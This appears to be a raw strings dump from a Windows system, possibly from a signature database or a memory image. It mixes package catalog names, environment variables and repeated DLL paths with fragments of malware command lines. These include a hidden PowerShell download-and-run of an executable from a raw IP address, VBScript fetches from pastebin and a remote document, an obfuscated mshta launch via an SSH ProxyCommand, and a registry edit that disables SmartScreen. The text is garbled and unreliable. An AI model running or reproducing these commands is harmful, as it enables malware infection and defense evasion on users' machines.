Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe
	9P49LKR1V2Q5FocusHomeInteractiveSA.SRExpedition-Windows_4hny5m903y3g0Focus Entertainment
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft Windows Manager
Microsoft Windows Driver
windows\m-
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
]%SystemRoot%\system32\PipeCmdSrv.exe
@Devices@Windows
c:\windows\system32\conhost.exefor	
0C:\Windows\SystemApps
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
1^Microsoft.Windows.FilePicker
SLGetWindowsInformationDWORD
gv= CreateObject("InternetExplorer.Application").Navigate "https://pastebin.com/raw/b82VVfcZ"Action.Path = "C:\Windows\System32\cmd.exe /q /c %TEMP%\launcher.bat"
hzXMLHTTP.Open "GET", Replace("http://nadim.work/demo.doc", "\", "/"), "False"ADOStream.SaveToFile "C:\Windows\Temp\tmp.doc", 2FileName:="C:\Windows\Temp\tmp.doc"
rdida accidental de datos con las copias de seguridad de Windows
n de Windows m
Cambiar a un nuevo equipo con Windows 11 es m
n y preferencias de Windows
95^com.microsoft.windows.extensionpackage
97^com.microsoft.windows.extensionpackage
99^com.microsoft.windows.extensionpackage
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Software\Microsoft\Windows\guaiaconic\Uninstall\loftsbelysningensS
COMPUTERNAME=WINDOWS11
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
3regadd"hklm\software\policies\microsoft\windows\system"/venablesmartscreen/treg_dword/d"0"
{='hkcu:\software\microsoft\windows\currentversion\explorer\startupapproved\startupfolder'"
.txt&&powershell-windowstylehidden$path='%temp%\
ec:\windows\system32\cmd.exe/cstartwscript.exe//e:vbscript.encodelogo.ico&start
c:\windows\system32\cmd.exe/cstartwscript.exe//e:vbscript.encodelogo.ico&start
WD`seta=fs.createtextfile("c:\programdata\windows\microsoft\java\hupdatecheckers.base",true)
hklm\software\microsoft\windows\currentversion\explorer
*.wns.windows.com0
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=
isWindowsAuth
\windows\cryptoguard
WindowsVersion
9f^windows.protoco0
9f^windows.updateTas
System.Windows.Forms.UnsafeNativeMethods.IAccessibleEx.ConvertReturnedElement
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.GetEnclosingElement
:\windows\system32
:\windows\syswow64
:\windows\tasks
c:\windows\.+
:windows\temp\
;c:\windows\system32\
Hmicrocoftc:\temp2.batbfxtray.exewebal.exesmanagerc:\windows\avp.exe\avp.exe%s\%ld.exe
wow64_microsoft-windows-u..s-callhistoryclient_31bf3856ad364e35_none_f6d69d9d0fd8308c
wow64_microsoft-windows-u..utilities-directory_31bf3856ad364e35_none_7b2cc65e672c2712
wow64_microsoft-windows-u..x-preview.resources_31bf3856ad364e35_en-us_82f4098159633e2d
wow64_microsoft-windows-ucrt_31bf3856ad364e35_none_d816c8e700c24513
wow64_microsoft-windows-ui-cred-library_31bf3856ad364e35_none_9d33db62818c2058
wow64_microsoft-windows-ui-fileexplorer_31bf3856ad364e35_none_9cece532641f4981
wow64_microsoft-windows-ui-input-capabilities_31bf3856ad364e35_none_51966d3bccd7e5c7
wow64_microsoft-windows-ui-search.resources_31bf3856ad364e35_en-us_c944d725a20586f3
wow64_microsoft-windows-ui-search_31bf3856ad364e35_none_cc8c4365717aee42
wow64_microsoft-windows-ui-shell-adaptivecards_31bf3856ad364e35_none_c6c72378a6046d66
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
@echooffregadd"hkey_current_user\software\microsoft\windows\(
WINLOGON
C:\WINDOWS\IWeb\
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
\Windows
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
  <assemblyIdentity name="Microsoft.Windows.SystemCompatible" version="6.0.26100.1" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
      <assemblyIdentity name="Microsoft.Windows.IsolationAutomation" version="1.0.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <assemblyIdentity name="Microsoft.Windows.GdiPlus" version="1.1.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="5.82.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.SaveObject
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.SetActiveObject
System.Windows.Forms.UnsafeNativeMethods.IGetVBAObject.GetObject
WindowsDeleteString
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsGetStringRawBuffer
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.ProviderOptions
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.get_ProviderOptions
System.Windows.Forms.IKeyboardToolTip.AllowsChildrenToShowToolTips
System.Windows.Forms.UnsafeNativeMethods.ITableProvider.GetColumnHeaders
System.Windows.Forms.UnsafeNativeMethods.ITableProvider.GetRowHeaders
Windows.Foundation.Diagnostics
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-ESENT-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Shell32-OEMDefaultAssociations-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|.cat|s-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.ca
USERDOMAIN_ROAMINGPROFILE=Windows1
WINDOWS\system32\cmd.exZ
5c:\windows\system32\cmd.exe"
pictures!%systemroot%\system32\shell32.dll
.shellexecute("cmd.exe","/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.GetView
Fmozilla/5.0 (compatible; msie 8.0; windows nt 6.1; trident/4.0)mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)com.apple.systemupdate.plist/library/metadata/system updatecom.apple.safariupdate.plistlibrary/application support/safari updateTrojan:AndroidOS/Mandrake!MTB
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.IsDirty
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.IsDirty
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WINDOWS11
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command('m]]]]]]s]]]]]]ht]]]]]a.]]]]]]ex]]]]]]e]]]]]]]]]]]]h]]]]]]]t]]]]]]]t]]]]]]ps]]]]]]:]]]]]]]//w]]]]]se]]]]]]]rd]]]]]t]]]]]f]]]]]ygu]]]]]]hi]]]]]]j]]]]]].20]]]]]]2]]]]]]]4-]]]]]v]]]]]i]]]]]]p]]]]]]]t]]]]]ic]]]]]]]k]]]]]et]]]]]].]]]]]]]c]]]]]]]om]]]]]/k]]]]]].]]]]]]]mp]]]]]]]4'-replace']')".
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-commandopenwith.exe;(new-objectsystem.net.webclient).downloadfile('http://91.92.254.199/brzhfbshdlhabdfhbawvgfrweifrvhbsfrbahogrfoweyboherjbv/zjhdfhzbgdskhsabrhasinibdnlzjsfdhbbkvdgskhbrgve/neio.exe','wnetjwi.exe');./'wnetjwi.exe';(get-item'wnetjwi.exe').attributes+='hidden';
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WindowsCreateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsDeleteString
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Pnp-OnlineDriverStore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-Pnp-OnlineDriverStore-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-msmq-mmc-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceNSystemConfig_V2_DPI
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
